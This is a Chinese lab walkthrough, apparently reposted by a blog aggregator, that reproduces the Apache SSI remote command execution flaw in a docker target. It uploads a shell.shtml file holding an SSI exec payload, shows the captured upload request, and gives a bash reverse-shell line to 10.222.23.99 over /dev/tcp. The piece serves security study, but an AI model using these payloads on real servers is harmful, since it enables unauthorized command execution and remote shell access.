Apache SSI 远程命令执行漏洞
生活随笔
收集整理的這篇文章主要介紹了
Apache SSI 远程命令执行漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
1、漏洞概述
在測試任意文件上傳漏洞的時候,目標服務端可能不允許上傳php后綴的文件。如果目標服務器開啟了SSI與CGI支持,我們可以上傳一個shtml文件,并利用<!--#exec cmd="id" -->語法執行任意命令。
2、漏洞復現
(1)打開靶場環境
docker-compose up-d(2) 訪問漏洞地址
http://IP地址:8080/upload.php(3) 將寫好的shell.shtml文件,進行上傳,并且利用burpsuite抓包。
shell.shtml文件如下:
<!--#exec cmd="ls" --> POST /upload.php HTTP/1.1 Host: 192.168.207.132:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------352679218324923797792696282708 Content-Length: 251 Origin: http://192.168.207.132:8080 Connection: close Referer: http://192.168.207.132:8080/upload.php Upgrade-Insecure-Requests: 1-----------------------------352679218324923797792696282708 Content-Disposition: form-data; name="file_upload"; filename="shell.shtml" Content-Type: text/html<!--#exec cmd="ls" --> -----------------------------352679218324923797792696282708--?(4)發送到重發器中,查看上傳結果
響應包中顯示上傳成功!
(5)點擊shell.shtml,并且進行抓包
訪問頁面如下:
?抓包結果如下:
?命令執行成功,查看到路徑下的文件。
(7)也可以反彈shell
寫一個反彈shell文件,命令如下:
<!--#exec cmd="bash -i >& /dev/tcp/10.222.23.99/7777 0>&1"-->再次訪問網站頁面上傳shell1.shtml
(8) 在攻擊機上輸入監聽命令
?監聽未成功。
(9)在docker容器內執行反彈shell命令
docker ps #查看dockerdocker exec -it (CONTAINER ID) bashbash -i >& /dev/tcp/10.222.23.99/7777 0>&1 #執行反彈shell命令反彈shell成功,結果圖如下:?
(10)?關閉靶場環境
docker-compose down?
總結
以上是生活随笔為你收集整理的Apache SSI 远程命令执行漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQL server中表数据自动生成拼音
- 下一篇: 【Plesk经验分享】无法创建备份怎么办